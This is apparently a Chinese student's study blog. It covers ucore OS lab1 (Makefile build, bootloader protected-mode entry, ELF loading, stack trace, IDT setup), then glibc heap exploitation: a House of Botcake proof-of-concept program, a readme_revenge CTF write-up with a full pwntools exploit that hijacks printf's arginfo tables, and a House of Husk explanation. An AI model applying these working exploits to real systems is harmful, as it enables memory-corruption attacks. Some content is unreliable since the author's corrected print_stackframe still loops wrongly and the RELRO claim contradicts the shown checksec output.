| | @$(OBJDUMP) -t $@ | $(SED) '1,/SYMBOL TABLE/d; s/ .* / /; \
| | /^$$/d' > $(call symfile,kernel)
| |
| | 为了生成kernel,首先需要 kernel.ld init.o readline.o stdio.o kdebug.o
| | kmonitor.o panic.o clock.o console.o intr.o picirq.o trap.o
| | trapentry.o vectors.o pmm.o printfmt.o string.o
| | kernel.ld已存在
| |
| |> obj/kern/*/*.o
| | | 生成这些.o文件的相关makefile代码为
| | | $(call add_files_cc,$(call listf_cc,$(KSRCDIR)),kernel,\
| | | $(KCFLAGS))
| | | 这些.o生成方式和参数均类似,仅举init.o为例,其余不赘述
| |> obj/kern/init/init.o
| | | 编译需要init.c
| | | 实际命令为
| | | gcc -Ikern/init/ -fno-builtin -Wall -ggdb -m32 \
| | | -gstabs -nostdinc -fno-stack-protector \
| | | -Ilibs/ -Ikern/debug/ -Ikern/driver/ \
| | | -Ikern/trap/ -Ikern/mm/ -c kern/init/init.c \
| | | -o obj/kern/init/init.o
| |
| | 生成kernel时,makefile的几条指令中有@前缀的都不必需
| | 必需的命令只有
| | ld -m elf_i386 -nostdlib -T tools/kernel.ld -o bin/kernel \
| | obj/kern/init/init.o obj/kern/libs/readline.o \
| | obj/kern/libs/stdio.o obj/kern/debug/kdebug.o \
| | obj/kern/debug/kmonitor.o obj/kern/debug/panic.o \
| | obj/kern/driver/clock.o obj/kern/driver/console.o \
| | obj/kern/driver/intr.o obj/kern/driver/picirq.o \
| | obj/kern/trap/trap.o obj/kern/trap/trapentry.o \
| | obj/kern/trap/vectors.o obj/kern/mm/pmm.o \
| | obj/libs/printfmt.o obj/libs/string.o
| | 其中新出现的关键参数为
| | -T <scriptfile> 让连接器使用指定的脚本
|
| 生成一个有10000个块的文件,每个块默认512字节,用0填充
| dd if=/dev/zero of=bin/ucore.img count=10000
|
| 把bootblock中的内容写到第一个块
| dd if=bin/bootblock of=bin/ucore.img conv=notrunc
|
| 从第二个块开始写kernel中的内容
| dd if=bin/kernel of=bin/ucore.img seek=1 conv=notrunc

简单分析一下其中的内容:

  • dd:用指定大小的块拷贝一个文件,并在拷贝的同时进行指定的转换
  • if=文件名:输入文件名,缺省为标准输入,即指定源文件 < if=input file >
  • of=文件名:输出文件名,缺省为标准输出,即指定目的文件 < of=output file >
  • count=blocks:仅拷贝blocks个块,块大小等于ibs指定的字节数
  • conv=conversion:用指定的参数转换文件
  • conv=notrunc:不截短输出文件

简述过程:

  • 由上描述可以看出,首先先创建一个大小为10000字节的块,然后再将bootblock,kernel拷贝过去,然而生成 ucore.img 需要先生成kernel和bootblock
  • Makefile通过一系列命令生成了bootblock和kernel这两个elf文件,之后通过dd命令将bootblock放到第一个sector,将kernel放到第二个sector开始的区域(可以明显看出bootblock就是引导区,kernel则是操作系统内核)
  • 而在这之前还通过sign对bootblock进行了修饰,在512个字节的最后两个字节写入了0x55AA,作为引导区的标记

练习2 - 单步跟踪BIOS的执行

没什么好写的,make debug 后就可以“任意发挥”了

记得在 tools/gdbinit 结尾加上

1
2
3
b *0x7c00
c
x /10i $pc

这是为了方便 练习3 而做出的操作,因为程序会默认在“kern_init”处打断点,直接跳过了bootloader

练习3 - 分析bootloader进入保护模式的过程

打开A20门

在PC及其兼容机的第20根地址线比较特殊,计算机系统中一般安排一个“门”控制该地址线是否有效,为了访问1M以上的存储单元,应该打开A20门,这种设置与实模式下只使用低端1M字节存储空间有关,与处理器是否工作在实方式还是保护方式无关(即是关掉A20,也可以进入保护模式)

注:在 8086 中有 20 根地址总线,通过 CS:IP 对的方式寻址,最大访问地址为 1MB

先执行一下指令,方便观察程序:

1
(gdb) layout asm

首先清理环境:

1
2
3
4
5
6
7
│B+>0x7c00      cli	// 禁止中断发生
0x7c01 cld // 将标志寄存器flag的方向标志位df清零
0x7c02 xor %eax,%eax // 异或eax把其填充为'0'
0x7c04 mov %eax,%ds // 置空ds
0x7c06 mov %eax,%es // 置空es
0x7c08 mov %eax,%ss // 置空ss
0x7c0a in $0x64,%al // 从0x64端口读取一字节数据到AL

开启A20:通过将键盘控制器上的A20线置于高电位,使全部32条地址线可用(可以访问4G的内存空间)

1
2
3
4
5
6
7
8
9
10
11
12
seta20.1:				// 等待8042键盘控制器不忙
0x7c0a in $0x64,%al
0x7c0c test $0x2,%al
0x7c0e jne 0x7c0a
0x7c10 mov $0xd1,%al
0x7c12 out %al,$0x64
seta20.1: // 等待8042键盘控制器不忙
0x7c14 in $0x64,%al
0x7c16 test $0x2,%al
0x7c18 jne 0x7c14
0x7c1a mov $0xdf,%al // 打开A20
0x7c1c out %al,$0x60

初始化GDT表

一个简单的GDT表和其描述符已经静态储存在引导区中,载入即可

1
0x7c1e      lgdtl  (%esi) 

进入保护模式

通过将cr0寄存器PE位置1便开启了保护模式

1
2
3
│  >0x7c23      mov    %cr0,%eax // cr0 to eax             
0x7c26 or $0x1,%ax // 或操作(PE位变为'1')
0x7c2a mov %eax,%cr0 // eax to cr0

设置段寄存器,并建立堆栈:

1
2
3
4
5
6
7
8
│  >0x7c32      mov    $0x10,%ax // 段寄存器全部初始化为'0x10'        
0x7c36 mov %eax,%ds
0x7c38 mov %eax,%es
0x7c3a mov %eax,%fs
0x7c3c mov %eax,%gs
0x7c3e mov %eax,%ss
0x7c40 mov $0x0,%ebp
0x7c45 mov $0x7c00,%esp // 设置0x7c00为栈顶

转到保护模式完成,进入boot主方法:

1
2
3
4
5
6
7
8
9
10
11
12
0x7c4a      call   0x7d0f 
------------------------------------
│ >0x7d13 push %ebp │
0x7d14 xor %ecx,%ecx │
0x7d16 mov %esp,%ebp │
0x7d18 mov $0x1000,%edx │
0x7d1d push %esi │
0x7d1e mov $0x10000,%eax │
0x7d23 push %ebx │
0x7d24 call 0x7c72
0x7d29 cmpl $0x464c457f,0x10000
0x7d33 jne 0x7d74

练习4 - 分析bootloader加载ELF格式的OS的过程

readsect:从设备的第secno扇区读取数据到dst位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static void readsect(void *dst, uint32_t secno) {
// wait for disk to be ready
waitdisk();

// 把信息写入段号口
outb(0x1F2, 1); // count = 1(设置读取扇区的数目为1)
outb(0x1F3, secno & 0xFF);
outb(0x1F4, (secno >> 8) & 0xFF);
outb(0x1F5, (secno >> 16) & 0xFF);
outb(0x1F6, ((secno >> 24) & 0xF) | 0xE0);
outb(0x1F7, 0x20); // cmd 0x20 - read sectors(读取扇区)

// wait for disk to be ready
waitdisk();

// read a sector
insl(0x1F0, dst, SECTSIZE / 4); // 读取到dst位置(幻数4因为这里以DW为单位)
}

readseg:简单包装了 readsect,可以从设备读取任意长度的内容(指定了要读取的字节数)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static void readseg(uintptr_t va, uint32_t count, uint32_t offset) {
uintptr_t end_va = va + count;

// 四舍五入到扇区边界
va -= offset % SECTSIZE;

// 将字节转换为扇区,内核从'扇区1'开始
uint32_t secno = (offset / SECTSIZE) + 1;
// +1:因为'0扇区'被引导占用,所以ELF文件从'1扇区'开始

for (; va < end_va; va += SECTSIZE, secno ++) {
readsect((void *)va, secno); // 每次读一个扇区
}
}

bootmain函数中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
bootmain(void) {
// 首先读取ELF的头部
readseg((uintptr_t)ELFHDR, SECTSIZE * 8, 0);

// 通过储存在头部的幻数判断是否是合法的ELF文件
if (ELFHDR->e_magic != ELF_MAGIC) {
goto bad;
}

struct proghdr *ph, *eph;

// ELF头部有描述ELF文件应加载到内存什么位置的描述表,先将描述表的头地址存在ph
ph = (struct proghdr *)((uintptr_t)ELFHDR + ELFHDR->e_phoff);
eph = ph + ELFHDR->e_phnum;
// 按照描述表将ELF文件中数据载入内存
for (; ph < eph; ph ++) {
readseg(ph->p_va & 0xFFFFFF, ph->p_memsz, ph->p_offset);
}
// ELF文件0x1000位置后面的0xd1ec比特被载入内存0x00100000
// ELF文件0xf000位置后面的0x1d20比特被载入内存0x0010e000

// 根据ELF头部储存的入口信息,找到内核的入口
((void (*)(void))(ELFHDR->e_entry & 0xFFFFFF))();

bad:
outw(0x8A00, 0x8A00);
outw(0x8A00, 0x8E00);

/* do nothing */
while (1);
}

练习5 - 实现函数调用堆栈跟踪函数

终于遇到一个需要写的练习了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void print_stackframe(void) {
/* LAB1 YOUR CODE : STEP 1 */
/* (1) call read_ebp() to get the value of ebp. the type is (uint32_t);
* (2) call read_eip() to get the value of eip. the type is (uint32_t);
* (3) from 0 .. STACKFRAME_DEPTH
* (3.1) printf value of ebp, eip
* (3.2) (uint32_t)calling arguments [0..4] = the contents in address (uint32_t)ebp +2 [0..4]
* (3.3) cprintf("\n");
* (3.4) call print_debuginfo(eip-1) to print the C calling function name and line number, etc.
* (3.5) popup a calling stackframe
* NOTICE: the calling funciton's return addr eip = ss:[ebp+4]
* the calling funciton's ebp = ss:[ebp]
*/
}

当然不是从零开始,程序已经写好了一些函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#define STACKFRAME_DEPTH 20

static __noinline uint32_t read_eip(void) {
uint32_t eip;
asm volatile("movl 4(%%ebp), %0" : "=r" (eip));
return eip;
}

static inline uint32_t read_ebp(void) {
uint32_t ebp;
asm volatile ("movl %%ebp, %0" : "=r" (ebp));
return ebp;
}

void print_debuginfo(uintptr_t eip) {
struct eipdebuginfo info;
if (debuginfo_eip(eip, &info) != 0) {
cprintf(" <unknow>: -- 0x%08x --\n", eip);
}
else {
char fnname[256];
int j;
for (j = 0; j < info.eip_fn_namelen; j ++) {
fnname[j] = info.eip_fn_name[j];
}
fnname[j] = '\0';
cprintf(" %s:%d: %s+%d\n", info.eip_file, info.eip_line,
fnname, eip - info.eip_fn_addr);
}
}

翻译翻译实验想让我们干什么:

  • 打印 ebp eip 的地址
  • 打印调用的参数
  • 调用“print_debuginfo(eip-1)”打印C调用函数名和行号等
  • 弹出一个调用堆栈帧(按照提示做)

首次进行尝试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void print_stackframe(void) {
size_t ebp = read_ebp();
size_t eip = read_eip();
int i;

// 这里一定要使用"cprintf",原版"printf"直接报错
cprintf("ebp:0x%08x eip:0x%08x",ebp,eip);
cprintf("args:0x%08x\n",*(size_t*)(ebp+1)); // 写在一起不好看
cprintf("args:0x%08x\n",*(size_t*)(ebp+2));
cprintf("args:0x%08x\n",*(size_t*)(ebp+3));
cprintf("args:0x%08x\n",*(size_t*)(ebp+4));

cprintf("\n");
print_debuginfo(eip - 1);

eip = *(size_t*)(ebp + 1);
ebp = *(size_t*)(ebp);
}

回头看答案发现我少了一个循环,后来发现这是要求的一部分,另外,“read_ebp”和“read_eip”的返回参数类型是“uint32_t”,还是改为“uint32_t”比较好

再次尝试:(部分地方进行了修改)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void print_stackframe(void) {
uint32_t ebp = read_ebp();
uint32_t eip = read_eip();
int i;

for (i = 0; ebp != 0 && i < STACKFRAME_DEPTH; i ++) {
cprintf("ebp:0x%08x eip:0x%08x\n",ebp,eip);
cprintf("args_1:0x%08x\n",*(uint32_t*)(ebp+1));
cprintf("args_2:0x%08x\n",*(uint32_t*)(ebp+2));
cprintf("args_3:0x%08x\n",*(uint32_t*)(ebp+3));
cprintf("args_4:0x%08x\n",*(uint32_t*)(ebp+4));
}
cprintf("\n");
print_debuginfo(eip - 1);

eip = *(uint32_t*)(ebp + 1);
ebp = *(uint32_t*)(ebp);
}

效果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
➜  lab1 (THU.CST) os is loading ...

Special kernel symbols:
entry 0x00100000 (phys)
etext 0x001032e9 (phys)
edata 0x0010ea16 (phys)
end 0x0010fd20 (phys)
Kernel executable memory footprint: 64KB
ebp:0x00007b28 eip:0x00100a63
args_1:0x6a00007b
args_2:0x0d6a0000
args_3:0x100d6a00
args_4:0x00100d6a
ebp:0x00007b28 eip:0x00100a63
args_1:0x6a00007b
args_2:0x0d6a0000
args_3:0x100d6a00
args_4:0x00100d6a

练习6 - 完善中断初始化和处理

中断描述符表(Interrupt Descriptor Table,IDT)是保护模式下用于存储中断处理程序的数据结构,CPU在接收到中断时,会根据中断向量在中断描述符表中检索对应的描述符

实验目的:

  • 请编程完善“kern/trap/trap.c”中对中断向量表进行初始化的函数idt_init
  • 在idt_init函数中,依次对所有中断入口进行初始化
  • 使用mmu.h中的SETGATE宏,填充idt数组内容
  • 每个中断的入口由“tools/vectors.c”生成,使用trap.c中声明的vectors数组即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
/* idt_init - initialize IDT to each of the entry points in kern/trap/vectors.S */
void
idt_init(void) {
/* LAB1 YOUR CODE : STEP 2 */
/* (1) Where are the entry addrs of each Interrupt Service Routine (ISR)?
* All ISR's entry addrs are stored in __vectors. where is uintptr_t __vectors[] ?
* __vectors[] is in kern/trap/vector.S which is produced by tools/vector.c
* (try "make" command in lab1, then you will find vector.S in kern/trap DIR)
* You can use "extern uintptr_t __vectors[];" to define this extern variable which will be used later.
* (2) Now you should setup the entries of ISR in Interrupt Description Table (IDT).
* Can you see idt[256] in this file? Yes, it's IDT! you can use SETGATE macro to setup each item of IDT
* (3) After setup the contents of IDT, you will let CPU know where is the IDT by using 'lidt' instruction.
* You don't know the meaning of this instruction? just google it! and check the libs/x86.h to know more.
* Notice: the argument of lidt is idt_pd. try to find it!
*/
}

/* trap_dispatch - dispatch based on what type of trap occurred */
static void
trap_dispatch(struct trapframe *tf) {
char c;

switch (tf->tf_trapno) {
case IRQ_OFFSET + IRQ_TIMER:
/* LAB1 YOUR CODE : STEP 3 */
/* handle the timer interrupt */
/* (1) After a timer interrupt, you should record this event using a global variable (increase it), such as ticks in kern/driver/clock.c
* (2) Every TICK_NUM cycle, you can print some info using a funciton, such as print_ticks().
* (3) Too Simple? Yes, I think so!
*/
break;
case IRQ_OFFSET + IRQ_COM1:
c = cons_getc();
cprintf("serial [%03d] %c\n", c, c);
break;
case IRQ_OFFSET + IRQ_KBD:
c = cons_getc();
cprintf("kbd [%03d] %c\n", c, c);
break;
//LAB1 CHALLENGE 1 : YOUR CODE you should modify below codes.
case T_SWITCH_TOU:
case T_SWITCH_TOK:
panic("T_SWITCH_** ??\n");
break;
case IRQ_OFFSET + IRQ_IDE1:
case IRQ_OFFSET + IRQ_IDE2:
/* do nothing */
break;
default:
// in kernel, it must be a mistake
if ((tf->tf_cs & 3) == 0) {
print_trapframe(tf);
panic("unexpected trap in kernel.\n");
}
}
}

#define SETGATE(gate, istrap, sel, off, dpl) { \
(gate).gd_off_15_0 = (uint32_t)(off) & 0xffff; \
(gate).gd_ss = (sel); \
(gate).gd_args = 0; \
(gate).gd_rsv1 = 0; \
(gate).gd_type = (istrap) ? STS_TG32 : STS_IG32; \
(gate).gd_s = 0; \
(gate).gd_dpl = (dpl); \
(gate).gd_p = 1; \
(gate).gd_off_31_16 = (uint32_t)(off) >> 16; \
}

简单来说,就是要写一个“idt_init”函数来对中断向量表进行初始化,并且完善“trap_dispatch”函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void idt_init(void) {
extern uintptr_t __vectors[];
int i;
for(i=0;i<256;i++) {
SETGATE(idt[i],0,GD_KTEXT,__vectors[i],DPL_KERNEL);
// 目标idt项为idt[i]
// 该idt项为内核代码,所以使用GD_KTEXT段选择子
// 中断处理程序的入口地址存放于__vectors[i]
// 特权级为DPL_KERNEL
}
SETGATE(idt[T_SWITCH_TOK],0,GD_KTEXT,__vectors[T_SWITCH_TOK],DPL_USER);
// 设置从用户态转为内核态的中断的特权级为DPL_USER
lidt(&idt_pd);
// 加载该IDT
}
1
2
3
4
5
case IRQ_OFFSET + IRQ_TIMER: // 使操作系统每遇到100次时钟中断,就调用print_ticks子程序
ticks++;
if(ticks%TICK_NUM == 0)
print_ticks();
break;
1
2
3
  -check ticks:                              OK
Total Score: 10/40
make: *** [Makefile:241:grade] 错误 1

基础分 10 分已经全部获得

House Of Botcake

glibc2.29~glibc2.31,tcache加入了 key 值来进行 double free 检测,以至于在旧版本时的直接进行 double free 变的无效,所以自然就有了绕过方法,绕过方法其中比较典型的就是 house of botcake,他的本质也是通过 UAF 来达到绕过的目的

利用场景:

  • glibc > 2.25(有 tcache)
  • double free

glibc2.31下的Tcache检查

对于每一个 tcache 中的chunk,增加了一个key指针,用于指向所属的 tcache 结构体:

1
2
3
4
5
6
typedef struct tcache_entry
{
struct tcache_entry *next; //链表指针,对应chunk中的fd字段
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key; //指向所属的tcache结构体,对应chunk中的bk字段
} tcache_entry;

当chunk被放入时会设置key指针:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static __always_inline void
tcache_put(mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *)chunk2mem(chunk);

/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache; //设置所属的tcache

e->next = tcache->entries[tc_idx];//单链表头插法
tcache->entries[tc_idx] = e;

++(tcache->counts[tc_idx]); //计数增加
}

ptmalloc 使用了一种更机智的方法,在不影响效率的前提下,完成了对double free的检查:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
size_t tc_idx = csize2tidx(size);
//只要tcache不为空,并且这个chunk属于tcache管辖范围,那么这个chunk就有可能已经在tcache中了,所以需要double free检查
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *)chunk2mem(p);

/*
如果是double free,那么put时key字段被设置了tcache,就会进入循环被检查出来
如果不是,那么key字段就是用户数据区域,可以视为随机的,只有1/(2^size_t)的可能行进入循环,然后循环发现并不是double free
*/
if (__glibc_unlikely(e->key == tcache))//剪枝
{
tcache_entry *tmp;
LIBC_PROBE(memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)
if (tmp == e)
malloc_printerr("free(): double free detected in tcache 2");
}

if (tcache->counts[tc_idx] < mp_.tcache_count) //通过检查,放入tcahce中
{
tcache_put(p, tc_idx);
return;
}
}

简单来说:

  • 在 free chunk 被放入 tcache 时,程序会设置一个 key 值
  • 每次程序把 new free chunk 放入 tcache 前,都会检查一下它是否携带有 key 值
  • 注意:key 值原本的位置是用户数据区(可以认为是随机值),有极小的概率会触发检查报错

这些检查导致我们不能 free 任何一个已经在tcache中的chunk,绕过的方法有两个:

  • 想办法修改 key 字段
  • 使用 fastbin double free

House Of Botcake 利用姿势

首先填充 tcache bin 链表,然后使用 malloc 从 tcache bin 链表中取出一个 chunk,然后通过二次 free 将 victim chunk 加入 tcache bin 链表,然后利用堆块重叠将 double free 块的fd指针覆写为目标位置,再次 malloc 即可控制到目标位置,达到任意写操作

核心点为:

  • 合并 chunk1 chunk2 进 unsortedbins
  • 将 chunk2 链进 tcache
  • 从 chunk1 分配一个大chunk造成 overlapped 到 chunk2 修改其 fd

其实就是利用了 tcachebin 和 unsortedbin 之间的相对独立性,使一个 chunk 在 unsortedbin 中的同时还可以在 tcachebin 中(fastbin对此就有相对完善的检查,不会出现这种情况)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>

int main()
{
puts("House of botcake Poc\n\n");

// 禁用缓冲并使_FILE_IO不影响堆
setbuf(stdin, NULL);
setbuf(stdout, NULL);

// 准备目标
intptr_t stack_var[4];
printf("目标地址是 %p.\n\n", stack_var);

puts("堆布局构造");
puts("申请7个 chunks(malloc(0x100)) 用于稍后填充tcache bin链表.");
intptr_t *x[7];
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
x[i] = malloc(0x100);
}
puts("为之后的合并申请一个 prev chunk");
intptr_t *prev = malloc(0x100);
puts("申请用于double free的 victim chunk.");
intptr_t *a = malloc(0x100);
printf("malloc(0x100): a=%p.\n", a);
puts("申请一个填充chunk防止top chunk合并.\n");
malloc(0x10);

puts("接下来可以造成堆块重叠");
puts("Step 1: 填充 tcache bin 链表");
for(int i=0; i<7; i++){
free(x[i]);
}
puts("Step 2: free victim chunk 并链接到 unsorted bin");
free(a);

puts("Step 3: free prev chunk 使它和 victim chunk 合并.");
free(prev);

puts("Step 4: 使用malloc从tcache bin链表中取出一个chunk,然后通过二次free将 victim chunk 加入tcache bin链表\n");
malloc(0x100);
free(a);
puts("double free 利用完成\n\n");

puts("tcache 毒化");
puts("现在 victim chunk 被包含在一个更大的已释放块中,可以通过利用块重叠进行 tcache 毒化");
intptr_t *b = malloc(0x120);
puts("将 victim chunk 的 fd 指针覆写为目标位置");
b[0x120/8-2] = (long)stack_var;
/* 这里只能直接修改,模拟覆盖的过程 */

puts("malloc申请到目标位置.");
malloc(0x100);
intptr_t *c = malloc(0x100);
printf("新申请的 chunk 位于 %p\n", c);

assert(c==stack_var);
printf("已控制目标位置!\n\n");

return 0;
}

Step 1: 填充 tcache bin 链表

1
2
3
4
pwndbg> bins
tcachebins
0x110 [ 7]: 0x405d10 —▸ 0x405c00 —▸ 0x405af0 —▸ 0x4059e0 —▸ 0x4058d0 —▸ 0x4057c0 —▸ 0x4056b0 ◂— 0x0
0x410 [ 1]: 0x4052a0 ◂— 0x0

Step 2: free victim chunk 并链接到 unsorted bin

1
2
unsortedbin
all: 0x405f20 —▸ 0x7ffff7facbe0 (main_arena+96) ◂— 0x405f20 /* victim(head) */

Step 3: free prev chunk 使它和 victim chunk 合并

1
2
unsortedbin
all: 0x405e10 —▸ 0x7ffff7facbe0 (main_arena+96) ◂— 0x405e10

Step 4: 使用malloc从tcache bin链表中取出一个chunk,然后通过二次free将 victim chunk 加入tcache bin链表

1
2
3
tcachebins
0x110 [ 6]: 0x405c00 —▸ 0x405af0 —▸ 0x4059e0 —▸ 0x4058d0 —▸ 0x4057c0 —▸ 0x4056b0 ◂— 0x0 /* 原本tcache的第一个chunk被申请了 */
0x410 [ 1]: 0x4052a0 ◂— 0x0
1
2
3
4
pwndbg> bins
tcachebins
0x110 [ 7]: 0x405f30 —▸ 0x405c00 —▸ 0x405af0 —▸ 0x4059e0 —▸ 0x4058d0 —▸ 0x4057c0 —▸ 0x4056b0 ◂— 0x0
0x410 [ 1]: 0x4052a0 ◂— 0x0

Step 5: 将 victim chunk 的 fd 指针覆写为目标位置

1
0x110 [  7]: 0x405f30 —▸ 0x7fffffffded0 —▸ 0x400040 ◂— 0x400000006

虽然和 tcache Double free 的流程有些不同(先填满 tcache 然后再 fastbin 上进行 Double free,再次申请,使得 fast chunk 被链入 tcache),但最后都可以申请到目标地址

版本对 House Of Botcake 的影响

House Of Botcake 就是为了对付高libc版本而产生的技术

至少在 libc-2.25 ~ libc-2.31 都可以适应

readme_revenge 复现

1
2
3
➜  桌面 ./readme_revenge 
yhellow
Hi, yhellow. Bye.
1
2
3
4
5
6
7
8
   readme_revenge: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=2f27d1b57237d1ab23f8d0fc3cd418994c5b443d, not stripped

[*] '/home/yhellow/\xe6\xa1\x8c\xe9\x9d\xa2/readme_revenge'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

64位,statically,开了NX,有canary,Full RELRO

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
_isoc99_scanf((__int64)"%s", name);
printf((__int64)"Hi, %s. Bye.\n", name);
return 0;
}

遇到了 statically 的程序(还挺少见的)

入侵思路

我的第一反应是它可能魔改了 “_isoc99_scanf” 或者 “printf”,这个题目看上去无懈可击,找不到任何的突破口

不妨开始一波逆向分析,想想题目作者把 flag 交到我们手里的手段:

  • 用 system 或者 execve 获取 shell
  • ORW直接读 flag

常规的就这两种,因为这是 statically 程序并且没有 system,execve,所以直接排除第一种可能,那么程序就一定在某个位置写了“flag”字符串(用于open函数)

其中这一句比较可疑:

1
WARNING: Unsupported flag value(s) of 0x%x in DT_FLAGS_1.

看起来像是直接告诉我们 flag 一样,但是很可惜没有发现目标(这个字符串是某个函数自带的)

常规获取 flag 的思路看来解决不了问题,当时我就在想是不是像逆向一样直接把 flag 写死在文件里?一般比赛的 flag 都以比赛名开头,所以我直接搜“34C3”:

1
2
.data:00000000006B4040                 public flag
.data:00000000006B4040 flag db '34C3_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX',0

发现 flag 了,因为程序开了 canary ,可以劫持 stack_chk_fail 的打印信息来泄露 flag

1
2
RDI  0x48d187 ◂— imul   rbp, qword ptr [rax], 0x202e7325 /* 'Hi, %s. Bye.\n' */
RSI 0x6b73e0 (name) ◂— 'aaaaaaaa'

这就需要另一种攻击技术 House Of Husk 的帮助了:利用方法就是我们这里的 printf 注册函数的调用链,伪造 __printf_arginfo_table ,将 table['s'] 改为 _stack_chk_fail_local 地址,将 __libc_argv(存放系统路径的地方) 改为输入地址,在输入开始存放 flag_addr

1
2
3
4
v14 = *(const char **)_libc_argv;
if ( !*(_QWORD *)_libc_argv )
v14 = "<unknown>";
_libc_message(2u, "*** %s ***: %s terminated\n", a7, a8, a9, a10, a11, a12, a13, a14, a1, v14, a5, a6); /* 伪代码有点难看,这里只用注意V14 */

这道题可以直接覆盖 printf_arginfo_tableprintf_function_table 不需要借用 main_arena,想比常规的 House Of Husk 更为简单

先看exp吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
context.update(arch='amd64',os='linux',log_level='info')

elf = ELF('./readme_revenge')
p = process('./readme_revenge')

printf_function_table = 0x6b7a28
printf_arginfo_table = 0x6b7aa8
input_start_addr = 0x6b73e0
stack_chk_fail = 0x4359b0
flag_addr = 0x6b4040
argv_addr = 0x6b7980

def exp():
payload = p64(flag_addr)
payload = payload.ljust(0x73 * 8,'\x00')# 's'的ascii值就是0x73
payload += p64(stack_chk_fail)# 在's'的spec索引中写入stack_chk_fail
payload = payload.ljust(argv_addr-input_start_addr,'\x00')
payload += p64(input_start_addr)# 在argv_addr中写入input_start_addr
payload = payload.ljust(printf_function_table-input_start_addr,'\x00')
payload += p64(1)#在printf_function_table中写入'1'
payload = payload.ljust(printf_arginfo_table-input_start_addr,'\x00')
payload += p64(input_start_addr)# 在printf_arginfo_table中写入input_start_addr
p.sendline(payload)
p.interactive()

exp()

这里就是把 input_start_addr (输入的起始地址) 当成 printf_arginfo_table


小结:

目前还是有点不懂该漏洞的运作原理,抛开漏洞利用不谈,我测试了正常情况的 printf_arginfo_tableprintf_function_table ,发现它们都是NULL,所以我有点搞不懂这两个表在 printf 中的作用

不过程序可以打通是事实,我也只能认为程序会优先执行 printf_arginfo_table 里面所指向的解析函数了(虽然我在源码中没有找到依据)

House Of Husk

这种攻击方式主要是利用了printf的一个调用链:

1
printf -> vfprintf -> printf_positional -> __parse_one_specmb -> __printf_arginfo_table(spec) 

应用场景是:

  • 只能分配较大chunk时(超过fastbin)
  • 存在或可以构造出UAF漏洞

House Of Husk 原理

使用 printf 类格式化字符串函数进行输出的时候,该类函数 会根据我们格式化字符串的种类不同而采取不同的输出格式进行输出 ,在glibc中有这样一个函数 __register_printf_function ,为格式化字符为 spec 的格式化输出 注册函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
typedef int printf_function (FILE *__stream,
__const struct printf_info *__info,
__const void *__const *__args);
typedef int printf_arginfo_function (__const struct printf_info *__info,
size_t __n, int *__argtypes);

static printf_function *printf_funcs[UCHAR_MAX + 1]; /* 没什么用 */

printf_function **__printf_function_table;
printf_arginfo_function *__printf_arginfo_table[UCHAR_MAX + 1];

/*
这里需要注意一下:
libc-2.23会把__printf_function_table初始化为一个函数指针
libc-2.27会把__printf_function_table初始化为一个指针数组
*/

int
__register_printf_function (spec, converter, arginfo)
int spec;
printf_function converter;
printf_arginfo_function arginfo;
{
if (spec < 0 || spec > (int) UCHAR_MAX)
{
__set_errno (EINVAL);
return -1;
}

__printf_function_table = printf_funcs;
__printf_arginfo_table[spec] = arginfo;
printf_funcs[spec] = converter;

return 0;
}
  • __printf_function_table:类型为 printf_function 的函数指针(printf_funcs),是我们为 chr(spec) 这个格式化字符 注册的输出函数的函数指针
  • __printf_arginfo_table:类型为 printf_arginfo_function 的指针数组,[spec] 索引处的类型为 printf_arginfo_size_function 的函数指针是我们为 chr(spec) 这个格式化字符 注册的输出函数的另一个函数指针,其功能是根据格式化字符做解析
  • 这个 spec 索引就是格式化字符的 ascii 码值,比如:printf(“%s”),那么这里的 spec 索引就是s的ascii码值

当程序检测到 printf_arginfo_function 中,对应的 spec 索引中有函数指针时,程序就会尝试用该函数指针指向的函数来解析对应的 spec 索引(至于 __printf_function_table 会发生什么其实不重要,只要它不为空就好),如果里面装着 one_gadget 的话就获取 shell 了

House Of Husk 的一大核心则是伪造 __printf_arginfo_table__printf_function_table

  • __printf_arginfo_table :在对应的 spec 索引中写入 one_gadget
  • __printf_function_table :不为空就好

